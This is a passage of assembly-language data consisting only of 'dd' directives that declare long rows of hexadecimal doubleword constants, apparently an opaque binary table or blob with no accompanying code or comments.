dd 8C6AE816h, 41028453h, 64BE2F52h, 0D6A1EB0Eh, 0EE4AB232h
dd 0E7E9E202h, 0DD22550Eh, 8771FB6Fh, 0CEEBD7CEh, 22F4D4Ah
dd 1CA110BEh, 2AC68045h, 0BF633775h, 0E50CC676h, 0AC51A05h
dd 0A34B3243h, 3CEA029Eh, 287D152Ch, 8B1E084Ch, 0CA19D1EFh
dd 67B78260h, 85D51786h, 0E4AA07D9h, 0C3242F86h, 5383130Bh
dd 915E33Bh, 9A591E5Ah, 1CD018D8h, 141C6808h, 5C97572Eh
dd 0AEB507BCh, 14B9F748h, 0B712E566h, 735CC58h, 5C28F541h
dd 30045217h, 66B8B72Eh, 80B15101h, 21E9CF08h, 0BA007F2Ch
dd 49E6195Eh, 0B498D631h, 1513E75Eh, 70629EEAh, 80001B90h
dd 0E83085C5h, 9C1B5AE9h, 47FA70Fh, 0EC985E1Bh, 0BD5C97D2h
dd 66D0C90Dh, 0E12A7335h, 1B2C7F86h, 0AD314E29h, 89BAD6C6h
dd 0C28A2010h, 0C7647ABEh, 0F64EB8AEh, 68E91847h, 0FA3534BFh
dd 61673C0Fh, 0B6126548h, 0B90207F9h, 49912B47h, 7BA2EE57h
dd 63421235h, 0DE14AE68h, 5EADDDE9h, 535982F7h, 44C047C4h
dd 0D58412Bh, 4FE648DAh, 0EF6A8F21h, 0EE97307Eh, 7F4B3E7Ch
dd 2B6868A0h, 26FF506Bh, 0BFF200Eh, 55D831ADh, 0B72B0B82h
dd 0D6F58100h, 0C73FF90Ch, 0C7174CDBh, 3B5A8302h, 75FD5B57h
dd 5DA53347h, 16BD88B6h, 82FA7148h, 64A0E458h, 8B2DB830h
dd 1263D4F3h, 55ACB8AFh, 3A8320BEh, 52BA2003h, 0CC42D687h
dd 370963C5h, 5523A563h, 6FC5A5EEh, 4289EB8Ah, 7EB55C58h
dd 0DE4C700Dh, 250F25A0h, 0FD4AE0BFh, 30539851h, 683ED529h
dd 8A312E2Dh, 0E4728A79h, 7F9CBE00h, 78147562h, 0D9C75FD3h
dd 4EC2F02Fh, 0AC4112A1h, 0ACAEB4BFh, 0A9683F96h, 0B09EE542h
dd 23EB28D6h, 0FCC6E8h, 0B53F8568h, 272A9061h, 0EE49EB87h
dd 4C7F7954h, 231B0570h, 10FF7E8Eh, 0B75807E3h, 7AD51024h
dd 14C2BE7Ch, 60FF2932h, 6181C35h, 0EFE945D3h, 962A8DC2h
dd 789F5A6Bh, 1CC5651Ch, 2131C131h, 0C3828AF3h, 0AC05A602h
dd 63FEDF01h, 0EA848A2Ah, 9648BF8Bh, 73013506h, 0B09F3650h
dd 27407D93h, 0D65C2591h, 0F2144916h, 11F6059Dh, 40AB542Ch
dd 52332A0h, 120E914h, 1DADB07Dh, 6E6B17E6h, 4B1131D3h
dd 0C60A855Eh, 0C7C4166Ah, 85E4FDEEh, 0B7AF6CE5h, 4EAF588Bh
dd 0D15BCBCAh, 225EA7h, 0D00BE2E9h, 620E95D7h, 95FB14Eh
dd 3F680A05h, 2A124111h, 0AF2166h, 7E0FE546h, 51906B06h
dd 24FB8748h, 0D000763Ch, 89F0BA0Ah, 0C319B0EBh, 0BB32E906h
dd 6945E35Fh, 0AE5607C7h, 0C8E12B46h, 8F70B722h, 3922E548h
dd 0DB31CE93h, 733162EDh, 598AD06Ah, 2B61FA6Bh, 8CBA830Ch
dd 2F37DEF2h, 54356E0h, 0CB3C6774h, 2774CC59h, 0D7FBA8AEh
dd 7D4EA709h, 412DC658h, 90D8E4BDh, 16BA5E4Eh, 41CFAAE4h
dd 6BCFE90Bh, 52C01071h, 0D25CE950h, 0B0EAA857h, 0A83E9E68h
dd 0C1F9D1C2h, 2897B428h, 0A6D2E4E7h, 8F4FB8BCh, 8ABA9698h
dd 12FF5A32h, 4F05EC6Eh, 0F2D879CBh, 8EB9A127h, 0E9535243h
dd 1A82544Bh, 0F205F9BDh, 0D00B0057h, 4173C830h, 24524601h
dd 476B016h, 824BA1B8h, 45DD592Fh, 87869214h, 0F928C213h
dd 6605B44Ch, 0CA885250h, 57A8FE12h, 0B11C8091h, 49D11EBBh
dd 0F1536A1Dh, 0A07B608h, 1E7602BAh, 0C72882C1h, 8FF0146h
dd 0D221083Bh, 502E6861h, 0E829A193h, 76564A90h, 5DDA4BEEh
dd 0CD099CF3h, 30A27ACCh, 80346254h, 6CB2CEAh, 19685779h
dd 0B0025044h, 0E9C7201Ah, 9571D824h, 175B8260h, 0E3034591h
dd 0EAEF14CBh, 0E952B8D3h, 75715BDCh, 0C28F0D28h, 8BEC7823h
dd 592B21BFh, 0B259FC88h, 0D2437292h, 8FF88107h, 7D0ED180h
dd 0EE6B932Fh, 71E913F1h, 60A3E52Dh, 0C1D60E53h, 0CE9C9506h
dd 0EF83176Ah, 6AFCD802h, 5C1914B4h, 843B294Bh, 0C5FCAEC9h
dd 217D766Bh, 2536E9A0h, 0A34CA123h, 1E74011h, 0CAD012C6h
dd 47B8959h, 12FC2459h, 0BC7913EBh, 5EC8A4C9h, 36BB0553h
dd 0BE08613Ah, 0DD0556C2h, 0F5838378h, 0DF2FDE20h, 4B55409Ah
dd 0D6354807h, 76790412h, 8472250Eh, 7C17AB3h, 0C278E749h
dd 22DBC9A1h, 0BD6882A2h, 9D14D52Ch, 0FCF10395h, 87794D22h
dd 1237B24Ah, 0C8EDE0BDh, 105B05D2h, 53B613DDh, 5772FB8Ch
dd 747E572Dh, 0C7EFCA3Ah, 6F06A07Eh, 88BF41ACh, 0E909075Bh
dd 0BB8E406Ch, 123F1E34h, 0E8A38C0Fh, 7909BA14h, 5653825Bh
dd 603185Ch, 0C2148305h, 20D64A01h, 0F3282440h, 0FB931399h
dd 5BA89F88h, 0ED6D31A1h, 0BDEA0484h, 0A65B3DCEh, 51937537h
dd 0E983B8F7h, 2A1DA962h, 96D7F430h, 8C1429F1h, 0AD05E8ABh
dd 0B5AF5064h, 51465A09h, 3CF3429Ah, 3DBA4B29h, 134392BFh
dd 0E99F17EEh, 67E9B1A2h, 0C10C686Ch, 0ED3608E6h, 0B3828C9Ch
dd 0C221CC43h, 68D2A085h, 8E0D78h, 56575865h, 0E5074BEh
dd 81414E61h, 0FAD0A1EEh, 5D51B53Fh, 1E30853Eh, 0C70C678Fh
dd 0EEE5973Eh, 0C86B4A03h, 0F49008EAh, 948E7C20h, 13F8ACCAh
dd 25193D8h, 2B5E1AC2h, 7264762Dh, 0CAC6DC76h, 0E0564BB8h
dd 0B63E11F7h, 3F251338h, 6AC04FB8h, 4A50DA5Ah, 0F36D4C3h
dd 4E93AAh, 0F390E7D0h, 5EF209C3h, 9409239h, 18FFD3E9h
dd 5AC1211Ch, 0EC0BEA58h, 0F7C4DFC5h, 68A7CE85h, 953DA3CDh
dd 8FD0057Eh, 44405E47h, 445405h, 6106ABBBh, 174C9870h
dd 0FA8F9EF9h, 0DEEDA51Ch, 0ED5F273Dh, 2D5093Ah, 760B0F46h
dd 766B8558h, 0BBE02D5Eh, 0E1245618h, 703311Ah, 4192860h
dd 770EB40Ch, 0E594EF49h, 90C081Ah, 5E487D14h, 588135B2h
dd 15E0EEF1h, 0ABC4B5E2h, 68D23105h, 47443E54h, 0A7A165E9h
dd 0A28ABC6Bh, 270AEC5Eh, 0CEA29868h, 2901ACC8h, 0A86E05D8h
dd 0F1127574h, 0A6BE4837h, 30E93E5Fh, 8B5D306Fh, 6D5C9D2Ch
dd 0B847BF56h, 38E3ADA4h, 0B9E401F6h, 58551FC9h, 67BD481h
dd 36E0E3Bh, 40384EF1h, 390C0927h, 1C031F2Eh, 30FF02E1h
dd 7C8B25C0h, 1B598CC0h, 76216F74h, 0E6817CBh, 0BBE36143h
dd 44915211h, 278F795Fh, 89AC895Dh, 0FA505534h, 8160D9Eh
dd 438514B8h, 8FB4BCE8h
dd 0C579CC68h, 0BB934AC1h, 0A64F078Bh, 1DCB5A22h, 0B25D2C04h
dd 7C81FE10h, 342E60F0h, 0BB8882E3h, 6F6A750Bh, 2BD5CB61h
dd 6352838h, 7AC0C3E8h, 0E090A950h, 0F83B6841h, 64E706DBh
dd 0B7AE0EEFh, 0B5540D5Eh, 0AD2095FBh, 780CD69Dh, 5699D777h
dd 642C8C8Bh, 0D74A9D78h, 9D8078D5h, 3E6EF938h, 82DB5481h
dd 0E975DCD2h, 5427BCFCh, 0F44CFB41h, 0EC0510A7h, 96CDBC5Fh
dd 5C23E504h, 0ABE66804h, 67B6CF44h, 192EEA3h, 0E84C50C4h
dd 0BA3E8D4Fh, 0A02BD1F6h, 704DAA38h, 3BF203ABh, 0D90AA229h
dd 0E4736EDDh, 1D455827h, 1408C88h, 6A011DB8h, 4DB13A33h
dd 0C2B21C6Bh, 836851F3h, 537EC5Dh, 31F2411Dh, 0DAA54056h
dd 0E9485F28h, 8BD93A32h, 0CBEAF5EFh, 68130F96h, 66605753h
dd 16AF4CA1h, 0FEDBF711h, 35B4A299h, 82B8AF2Ch, 0C42CEE5Eh
dd 4DEB3187h, 28F3E906h, 500B5FFFh, 0F53B283Dh, 0CF8159E0h
dd 195207D7h, 0AFE7C178h, 0AF23F720h, 501AE2Fh, 3B6964CDh
dd 8BDC322Dh, 0F9E6B851h, 0FB840745h, 20AA1217h, 0FBCEE954h
dd 3AC9FE5Ah, 3DD0886Ah, 0A4FF768Ah, 0EC579260h, 80BFD244h
dd 0B4E9F91Dh, 0A83DDA4Fh, 0EC28B2Ah, 1663D368h, 539B8EABh
dd 3A449655h, 580A2F3Ah, 0C9571E57h, 5422B876h, 21F14792h
dd 3F2772ADh, 9B9E5250h, 571763h, 1C69EAB0h, 0C0954B64h
dd 814493F4h, 1EEA2B2Dh, 13DCB4FBh, 1F25EB91h, 1012361Fh
dd 0ED693EC5h, 4A85CE2Eh, 35D4C8FFh, 0B2FEC62Eh, 714F6DEFh
dd 7363B400h, 0D13B0557h, 0BCD6F7EEh, 206904E0h, 9A0F0FE4h
dd 0D5964965h, 53E2121Ch, 7895BFB9h, 4B09D08h, 0FA7B7968h
dd 5B059ACFh, 0FE8ADFE9h, 8948C9E3h, 0F2C25F85h, 0C5238AE5h
dd 0BB23FDA5h, 0BE4FC5CBh, 5575C8AEh, 0CF958767h, 31A1D73h
dd 4594BF0Eh, 8DE50C7Fh, 7DE501BFh, 505C0162h, 8B0E9D2Bh
dd 0C4F2A2D3h, 0E9055F0Ch, 0EF1A66F8h, 24681280h, 27CBBB0Dh
dd 85FFB84Bh, 0AC1BF387h, 47CD908h, 0B823302Bh, 31581970h
dd 384805AFh, 90EE6C73h, 5920E9F6h, 4D444F2Eh, 2EEEF102h
dd 0A1D08F50h, 0F4137753h, 0CB61F7D4h, 0B709F1FBh, 26EBAD7Dh
dd 7CF7B22Fh, 7342820Bh, 70D3FE58h, 511247EDh, 8DEC2957h
dd 0B87B0841h, 8708F52Dh, 0F92106E2h, 510B705Fh, 0D6150A20h
dd 0E2762FB4h, 0BB7E5178h, 96AC0996h, 686271DEh, 0AF98D701h
dd 5595B850h, 0DC485E89h, 532628Fh, 81F7784Ch, 0B527E907h
dd 2C785163h, 46061FE3h, 0C4B7877h, 0C49ED5B8h, 0E8A43B17h
dd 0E601018h, 0F8E6891Dh, 89695524h, 0B87F271Eh, 0D3659350h
dd 0ECD0FE59h, 0BFD7F747h, 4BE98360h, 0F609B7BEh, 39187DF9h
dd 97FE3381h, 0E0E95E4Ah, 9CCDCDDEh, 9F036B16h, 0DAC8CC80h
dd 75384BE8h, 4211B6ECh, 0A5478E25h, 2CEDE525h, 211313FAh
dd 8E6E39C8h, 0C588EEBDh, 1AEB9FE2h, 3EC522E6h, 7092E9C2h
dd 7880765Bh, 70FC2C1Ah, 8456F2Ah, 9AE2EF50h, 81874B79h
dd 385559E1h, 9140B920h, 7FC026B1h, 0D9F625E9h, 7C505D41h
dd 60BF4F7Dh, 0FA54DF31h, 6DF05AB8h, 4229D9BFh, 59F5F137h
dd 73281A0Bh, 1A0BBF7Eh, 3000DF5Dh, 49457AEBh, 93676BDh
dd 64FE38C1h, 0CB930F68h, 27DDA608h, 42DA18Ah, 0FAC46859h
dd 0EA236446h, 75BB0E76h, 0A534B31h, 4045DC75h, 4D546AC8h
dd 0DE4E5B79h, 0BF89DAD9h, 9ADF8B68h, 0A5E5C9F4h, 358509CEh
dd 429EF05Fh, 5861CA41h, 453EC97Ch, 0ECBA2660h, 0C4B88D08h
dd 59A1D467h, 0EBF0B764h, 0CEFA9741h, 5057452Ah, 97BBF4h
dd 5D0105E4h, 0AE7E4ACCh, 0E909029Bh, 467750E1h, 58542626h
dd 0ACA2E11h, 17C1C188h, 3FE9F33Bh, 0AECC4E5Ah, 45501015h
dd 4732810Ch, 0FB310BA8h, 0C47DE66Ah, 31BFCC05h, 2ABE8A88h
dd 0C238ECA3h, 0EEF4EA51h, 14B297BCh, 8967B257h, 0E340D792h
dd 513B951h, 43018065h, 0D729DEE9h, 9BEB61FAh, 25C2CB3Bh
dd 0D8A57E2Ch, 0CE9FDAF8h, 6086F622h, 58B816C2h, 7E02F567h
dd 256C9D0Dh, 9C62D555h, 6A4BDB60h, 0E03A8A2Dh, 97F1C34Fh
dd 68863DF1h, 2F51592Dh, 0B84E2F19h, 0B46D2BFh, 0EBECF870h
dd 322993F7h, 5880F3CCh, 0EE59C97Ch, 0B5B977E6h, 22D6F054h
dd 0D10B009Bh, 52CA5C67h, 536D25D7h, 3BDF611h, 5F268EBEh
dd 36965008h, 5677823Bh, 0A5B0951h, 0D000CD66h, 81563B73h
dd 178C34C2h, 0FF50A9C4h, 8FEBD331h, 456B2104h, 0F291801Ch
dd 0E204F416h, 5AD72731h, 6805DDF4h, 99454DE7h, 8FC8F6C6h
dd 5946181Dh, 85149D51h, 5EB45080h, 0D5D2A48Eh, 0A594DE95h
dd 8B9ACF7Fh, 0C65EDB71h, 0D978E5C2h, 39D5A758h, 2C7C5F47h
dd 4A7ADD50h, 8473CBA2h, 6DB8EE94h, 3BECEBC0h, 12C29A8h
dd 0B2073DD3h, 40ACF421h, 4BE516C6h, 0AEE5C412h, 0BEC53FA8h
dd 0FAB9D1EAh, 49496A5Fh, 55DCC263h, 0FBA49FF3h, 9C0F562h
dd 4833515Dh, 40AB6281h, 5E60CAF4h, 0E1076CE9h, 9F99B96Bh
dd 2185FF13h, 2E78F4F8h, 0BF80F09Eh, 0A007464Ah, 80BF24C9h
dd 1C886804h, 77734C86h, 16AA0510h, 0D819F987h, 55F05008h
dd 90109778h, 4B552168h, 5A5EE04Ah, 0F5251092h, 92B9552Fh
dd 27AB3992h, 78E9710Ch, 0D1AB9187h, 0B05A2878h, 7AC34792h
dd 0F768A108h, 6AEA0E04h, 466D29D6h, 5F97590Bh, 0B2D245BEh
dd 60EC7DEBh, 490BB8B3h, 57736077h, 17E9F7C8h, 16254F5Bh
dd 79C89CFEh, 0F73C3941h, 0BFF72F78h, 59D579E2h, 59C543FCh
dd 74F7ED03h, 6EF161h, 0F1F230Ch, 0FAD0E93Fh, 5DDEEDAAh
dd 8E94F525h, 32E213D2h, 28310492h, 39AE1217h, 0C1804082h
dd 2B3A395Bh, 63EAD5E9h, 0EA939E9Eh, 0CE258AAh, 0F92837DDh
dd 0A8099311h, 0F825C871h, 0E606D3C9h, 5337007Fh, 7E2D0644h
dd 4A5F013Eh, 0CF7D1925h, 0F6B23B5Ch, 2AE07Ah, 0A50D224Eh
dd 3528E634h, 26184FECh, 565C290Fh, 0CF03F68h, 259090FCh
dd 595AD85Dh, 59E74826h, 0CF42AA40h, 65B9F61Ch, 0EAC2D552h
dd 0E1472BA1h, 0DE22C8D2h, 7445510Eh, 29295CEAh, 0EA6999F8h
dd 4CABD515h, 0AC8228A4h, 0C5BE033Dh, 0D27C7620h, 62DF64Ah
dd 24F8015Ah, 0CAE61454h, 0C16E32B8h, 58E6040Eh, 3ACAD9BFh
dd 80C6341Fh, 1E061DC6h, 1DCE288Eh, 295E6DEEh, 7D495597h
dd 0BB4855BDh, 57C06C1Ah, 0C05B66FCh, 322CC6E4h, 0C3988DCEh
dd 0A928B278h, 0A797DF45h, 0E9C129B4h, 277AEE3Ch, 0CF239B27h
dd 6DAA6866h, 0A842F454h, 0D5147730h, 0A23FA720h, 0AA29F7FAh
dd 0B6DCA30Bh, 59CE2986h, 0D0C8BD1Eh, 0D87DE955h, 9F09ADBAh
dd 500C57CCh, 0E43B0AEh, 79180AB7h, 0A4141EF8h, 24AC3D48h
dd 0F2409DE4h, 69C2964Ah, 6BFADAAEh, 888482BDh, 805004EAh
dd 96184275h, 0FB9280FFh, 9615653h, 18F695CDh, 47526500h
dd 1740E681h, 0AA24E425h, 2AE9CB02h, 0FC848BBEh, 0C43B09BAh
dd 31489414h, 3352102Ah, 8ADF0116h, 0F5A06B72h, 0F72955C0h
dd 0F40DC98h, 7C709F59h, 9DF27220h, 0D9D090F5h, 0C2BCB692h
dd 76090DA4h, 0C3DA0918h, 0EA9F86F9h, 86B27F2Dh, 0B72B66F5h
dd 0F20955E7h, 985646E1h, 5FBF3119h, 1090F01Fh, 0E9273E05h
dd 1CBBDFA4h, 0BF1C7412h, 843C2E8Dh, 78310104h, 0C0E5C040h
dd 1D30CC7Ch, 541A0E4Bh, 0A0DC4B11h, 5760AEC7h, 23B5515Fh
dd 1E87628h, 34A80459h, 2FC23010h, 27C42AA8h, 1EB20067h
dd 7E66D028h, 883ECF5Ah, 5B2161E9h, 89678C68h, 0FCB789C3h
dd 78F273CCh, 0DF27AC56h
dd 43DA9E32h, 0CB585421h, 3BD44575h, 41CA9EF8h, 7B35C468h
dd 0FE9600A6h, 0E64946CEh, 0A65E90Bh, 36598F7h, 11432568h
dd 0BA071898h, 79375FA4h, 4EC4F546h, 1FCBB07h, 3C313932h
dd 67E9B047h, 8E59BF02h, 755D5BC2h, 0B9877751h, 4E151B54h
dd 0F66941FFh, 7D6E8E2Fh, 0D6E9077Dh, 0E3A9A45Ch, 0AE6FC282h
dd 29AFD2D8h, 2DCA6102h, 38B133Ch, 2CE922A4h, 0A5FA8D73h
dd 515B6EF2h, 278901CCh, 0A2FF58C1h, 0E648BA7Bh, 0FE2925F6h
dd 124B14FDh, 0DD8F5DE9h, 0CAB77F07h, 63AC144Ah, 725FA800h
dd 0ACF38165h, 0CCA10DD6h, 2EF7296Ah, 2B3129AFh, 5204688Bh
dd 0E5E4E8E9h, 984D0128h, 25BB0045h, 63F01659h, 0FB7A0157h
dd 272DB30h, 98967775h, 0A2792220h, 5A587729h, 0FC5B739Eh
dd 41E52DCCh, 95DAC2E8h, 4ABBA020h, 0A000BA05h, 2F142D5Dh
dd 0BC174AD2h, 57074036h, 43386812h, 2102CCBEh, 121B0480h
dd 0E058C628h, 876403D4h, 88AAC86Bh, 0C4089FCh, 0B4744EE3h
dd 594BCBC0h, 8A2CB444h, 0F6D58112h, 6AAC60D9h, 7FF10BFAh
dd 0A9F8BD39h, 3A679D63h, 4CBCC2Fh, 68C8BF0Fh, 88E3EF81h
dd 0E821E2Ah, 8058E728h, 0CE641D6Fh, 2ABC89Bh, 764EEE94h
dd 0DF5800C2h, 3A22E0CCh, 0EABF0B5Ch, 5FD05D42h, 0A2BD1813h
dd 0C20AB4BEh, 0D97E7117h, 103616FBh, 0C06B08ADh, 76C138F5h
dd 3348BDD7h, 59BD4337h, 74C9CFBCh, 0FF252074h, 7E91269Eh
dd 0B237908h, 6209D731h, 98A9F05Dh, 7510FCACh, 847597BBh
dd 81F14973h, 58C2E67Eh, 0B652820Ah, 6F8457F6h, 0FF96B18Ah
dd 3E9868D8h, 5A704706h, 5E0D99B8h, 8F12BC31h, 9DF757F2h
dd 7DF6EE25h, 9B5F6B2h, 0B273AFF4h, 0A6D1D4EFh, 418628BCh
dd 7EB30EAh, 161F63EEh, 0F07BF589h, 0FB75FAFBh, 261AA5A6h
dd 14A6F747h, 5E099910h, 0F42215Bh, 0E298E5F5h, 0AD002AD2h
dd 0C976C968h, 0A05E7B53h, 9F2F142Dh, 7615325Dh, 0CFDD8B4Ah
dd 0B8811650h, 0BECD7067h, 135008E9h, 4EDDC8E9h, 92242E23h
dd 27F4EA0Bh, 0C616200Fh, 0E6A5B727h, 3FD60B6Dh, 4A776654h
dd 0BF4C5D6Ah, 4E7B732Eh, 44231D82h, 0F7F86826h, 2CEBCD1h
dd 0F95CA6C9h, 97FE5257h, 0E9DB0175h, 0B88ED918h, 0BEFDC588h
dd 0CB82E2DBh, 27AA4502h, 15682730h, 94723C4Eh, 9CA584Eh
dd 0EC2CEE0Ch, 461CC1F7h, 0FC5AC129h, 3F49E47Ch, 5A170053h
dd 27153602h, 36CBD5E9h, 0DFEE72B7h, 0D59555F2h, 0CC72928Bh
dd 403C3804h, 0FF522948h, 0F52DD64h, 5B2E4EACh, 26FC270Dh
dd 13BAF25Ah, 0E4FED0C1h, 2D813D93h, 7185F86Ah, 258F7CB5h
dd 0F5271259h, 45A8E21h, 6EA22B12h, 390453CBh, 0B3831D3Ah
dd 0D1D820D2h, 2901A1F7h, 841579C1h, 6858A093h, 80188FB2h
dd 206F5E2h, 0E6DA5AF6h, 6B210F3h, 550B5525h, 107360D8h
dd 5A59CEC2h, 3FCC875Bh, 45D6C287h, 0C97FFBE9h, 19BBBF3Ch
dd 57D16930h, 0D2C89CDCh, 264A012Ah, 7B65EE3Fh, 38047BC3h
dd 0A6CA2820h, 4B3B190Bh, 36EC697h, 8EF3B854h, 0C33193A0h
dd 892875A4h, 0C840B5DEh, 6799758h, 0B8A20316h, 0D685080h
dd 154C797Fh, 171E3E14h, 46422602h, 572216E9h, 1626D37Bh
dd 0F980FEA5h, 59387A0Ch, 0C3E16259h, 8DF3090h, 2650D6E6h
dd 84E082BFh, 8007C8B3h, 0D3F6C0C3h, 7A1452A6h, 0E2EB254Dh
dd 3A89A7D6h, 7EB37F1Fh, 577820D2h, 60C7292Fh, 7D9F49C2h
dd 19822D7Eh, 0B13EF06Eh, 15B493B0h, 3CE09BBAh, 0C5E430E9h
dd 0F502B15h, 272A0569h, 30FF338Eh, 0DB3558CCh, 2F776B16h
dd 0A14C44FFh, 0CBAF17E1h, 4CF589Fh, 6F6A180Fh, 0C403F2BFh
dd 0EC84C801h, 0CAE91303h, 0D11A1D06h, 0FB3ECBE0h, 97BEFF5Ch
dd 4154D69Dh, 1227470Ah, 451261E9h, 2FFD7BD4h, 0A220B84Eh
dd 56F97D59h, 10B95162h, 3C0BED81h, 7761A075h, 17089328h
dd 0C525E259h, 0A7EAB9BFh, 0D8280042h, 3AB05052h, 0A8F54F68h
dd 84B6CB9Fh, 0DDD5395Eh, 5C5E672Ch, 0A381AF59h, 825BBA42h
dd 8496B90Ch, 80E15DE0h, 0BEDF542Ah, 0D2C94AACh, 0B6851B48h
dd 5BD0F782h, 1DF58014h, 0BE055EDBh, 47CD51A3h, 17FEFE1h
dd 0C68859F6h, 0BF07F58h, 21D84A31h, 2A6C680Bh, 0CA6FE5D2h
dd 0DF7A897Ah, 0D7279515h, 0DC9584E4h, 0CD5292EBh, 0AD0DA7FAh
dd 2520593Eh, 0A8B94A45h, 52818C2Fh, 7F1177C2h, 0CDA82775h
dd 0FD885171h, 4762FC7h, 262768C1h, 1A32C258h, 6AFC680h
dd 79DBC177h, 72781531h, 5DAB1F5Bh, 491CE6DDh, 0F5414E8Fh
dd 691EF22Dh, 0B60D81A7h, 83A8EFBh, 510201CBh, 5FF7E2E9h
dd 24FEFA27h, 9700B2F1h, 0CEB21EA8h, 7DC5B2DFh, 0E042EF74h
dd 0B8757B90h, 309E995Bh, 0EC955A15h, 557520D4h, 2E31BF04h
dd 0FAF21BEh, 2C456EAh, 0EBF6FFD6h, 0DC14AF5Ah, 0CB120D89h
dd 0C52ED02Eh, 0C28BEABEh, 497564Fh, 0EA7377h, 0A96FF4BAh
dd 0BA12F452h, 8D42BD30h, 0E8891441h, 76C06156h, 5A213AF4h
dd 1179000Dh, 703538FCh, 1B34AB29h, 0A8EE8A31h, 755CE2F7h
dd 39F04C93h, 0F7974C48h, 8F643DA1h, 0B40C2002h, 2FB8BAD6h
dd 78E41710h, 697E3048h, 0C0E7621Dh, 250B5B28h, 47F237F2h
dd 1B56ED60h, 9F5DEB09h, 0DD00E58Bh, 0C084042Ah, 69B0214Eh
dd 93395ED1h, 69E3CFD9h, 55BA4FABh, 557E89DDh, 0FE551A3Ah
dd 0B9D5C18h, 2F6771E8h, 8B124E76h, 0A6F1360Ah, 22FA0820h
dd 0C7A32397h, 0F198C989h, 0EFD0167Ah, 8A5C8C80h, 166F7F44h
dd 0BF2C8BE8h, 7699C48Bh, 0BBE25571h, 611756C0h, 0B1358DAh
dd 59F00B4Eh, 0B425F3C5h, 2AFB9FC4h, 2B65C2Dh, 3B471F2Fh
dd 0F858C248h, 708521BCh, 0A61EC624h, 9FEF8017h, 0F65C2704h
dd 0B1FAC4CCh, 48F92081h, 0C3EBEE2h, 1EA01B41h, 3C700B4Fh
dd 13D06033h, 0A508C151h, 830AD51Ch, 67583858h, 582831C1h
dd 0F7FA6059h, 0EFF7D1BDh, 66031008h, 0CAE1285Bh, 1F6A5FF9h
dd 425AFC1h, 0A2BBD3D5h, 68E98213h, 0B53DF9Ah, 95520A7h
dd 135A1C57h, 0A30B5368h, 56C91264h, 0BE4E5FE3h, 97D48785h
dd 6497E8EBh, 0F8D1B5FEh, 943852E1h, 4108701Ch, 0EED359BAh
dd 0B60F2A30h, 0E904BFC1h, 8CBB6B1Ch, 0C5413798h, 2262B17Eh
dd 0B68B5F63h, 248BB410h, 47963356h, 0EBA40EE8h, 2D401382h
dd 6DB83026h, 51020827h, 5F1AB123h, 6C7C314Fh, 0C5B80E0Bh
dd 2078EB0Bh, 261A353Eh, 2D580715h, 49F147F5h, 9B0E707Ch
dd 13E494E0h, 4FF82959h, 5EF3B2B7h, 958201F6h, 5445094Ch
dd 0E568892Fh, 39933171h, 0B27F96A1h, 5B25D918h, 402DAE2Bh
dd 0A210F97Bh, 5D0BF55Bh, 803796D5h, 2F9BAB0h, 0E965C019h
dd 12FDBBF6h, 0B3665DC8h, 0BD1276DEh, 0C23B3AC0h, 68841B0Fh
dd 61A24C03h, 442C326Bh, 0F78CAC08h, 40CDDB8Bh, 0EE2C8073h
dd 0C51C9D2Eh, 0B151E604h, 2546ABC1h, 2FF3BA03h, 861983DDh
dd 385E09ECh, 9AB8A187h, 96CC9DC8h, 7028E897h, 7B46820Eh
dd 8A4F20F4h, 54274DF7h, 0DECBEDFEh, 0C3410E97h, 0FA59C417h
dd 0B0577D4h, 5EC95CE9h, 5029051h, 57C1306Ah, 6C4B9968h
dd 0CC2EDACh, 1AA2FF9Eh, 29F5FAF1h, 0CCD05DB4h, 6BAF6814h
dd 74BBD6EAh, 1E8BE29h, 104BAD4Dh, 0DC25C83Fh, 46D35443h
dd 6969B9B9h, 13671028h, 34B5D2Ch, 45D94B12h, 69580BE2h
dd 0AFAC474Eh, 2488C374h, 0EE73C255h, 273F970Bh, 7062DF13h
dd 0F1750809h, 12FBE7Ah, 0E3172E5Fh, 94C96D53h, 14377DC0h
dd 20E7B099h, 5F090DEDh
dd 1B5BD468h, 5960144h, 0B974BA7Ah, 0FF0BA509h, 90C817E1h
dd 4D4C08AAh, 2E864175h, 0B55207EEh, 0A10FB4ABh, 0B3372065h
dd 0BC37901h, 4F47DFF7h, 7441FF3Bh, 0EC24B282h, 0ED35902Ah
dd 4A2F3E19h, 13851BAEh, 80CCE90Dh, 3248BF64h, 12194B3Dh
dd 8FE27FC2h, 533484h, 2D38F181h, 0F807765Ch, 4A611FA8h
dd 69C9013Dh, 2076FD27h, 0BEB92281h, 0BD64664Fh, 0E35F4A6Eh
dd 0DD50CB39h, 15687048h, 4A3B6963h, 0BD517642h, 8A892276h
dd 1B38DF71h, 5E95055Ch, 33F12767h, 99AC662h, 0BF09505Fh
dd 7E27FFD6h, 136D6276h, 0B0DE8902h, 135A5683h, 0BDAF75Eh
dd 0F50206EBh, 2D00B1BEh, 16551723h, 10F00125h, 0E90B08C3h
dd 771AB8D8h, 54C558DCh, 0D6732782h, 0D61C4F13h, 0D84EF490h
dd 8E5B43F0h, 0C2A4CAE9h, 7974F98Bh, 1354912Ch, 0F94688E9h
dd 0A1512A4h, 34C899EBh, 10985341h, 8291D02h, 7EB2E922h
dd 0B9CA8197h, 0D8773073h, 351286E2h, 0A50164D8h, 0D768E717h
dd 3C62E43Bh, 0E1D25B9Fh, 34EB7FE9h, 0D03515Fh, 0EE295323h
dd 857E025Dh, 4030086Fh, 738EBA7Fh, 0E05C1720h, 0C22F68CAh
dd 4E871842h, 4043916Ah, 620DBB53h, 5E16B627h, 732D0181h
dd 0E0767952h, 7A205E8h, 415DA88h, 0D2CDF7E9h, 476954C4h
dd 0FE152F3Ch, 0FD668B60h, 0AF581990h, 0C2BE32D3h, 0DF228D78h
dd 24BB0037h, 0F77AD0DEh, 0A804774Bh, 7CA3EA29h, 0AE1068h
dd 1FB51763h, 0C9580B5Dh, 0F2901346h, 26569DEBh, 5C0C50F1h
dd 8839A692h, 0AFCF3CF1h, 0E5FA098Eh, 7E2D3FE5h, 5F214560h
dd 0A30B1C50h, 775F09B5h, 0E8861534h, 0BDCED420h, 86DD0C8h
dd 3CE82F54h, 352C2800h, 5A64FC05h, 5DFEC3Ah, 0E96F1AD1h
dd 0BD48D41Fh, 0C25D2ED7h, 0C61FD326h, 0AB054AE0h, 32A42A87h
dd 48FD67E1h, 6DB27D80h, 5355310Bh, 33524501h, 6C642E32h
dd 444180C7h, 5350E656h, 4E1F0D49h, 6A4C9C54h, 5001850Ah
dd 0F295D1E9h, 9A550A75h, 9FE0615h, 5605FDE7h, 610A1DD5h
dd 429BA23Eh, 9DAD11CBh, 3E08C121h, 84B7909Eh, 0AD489F2Ah
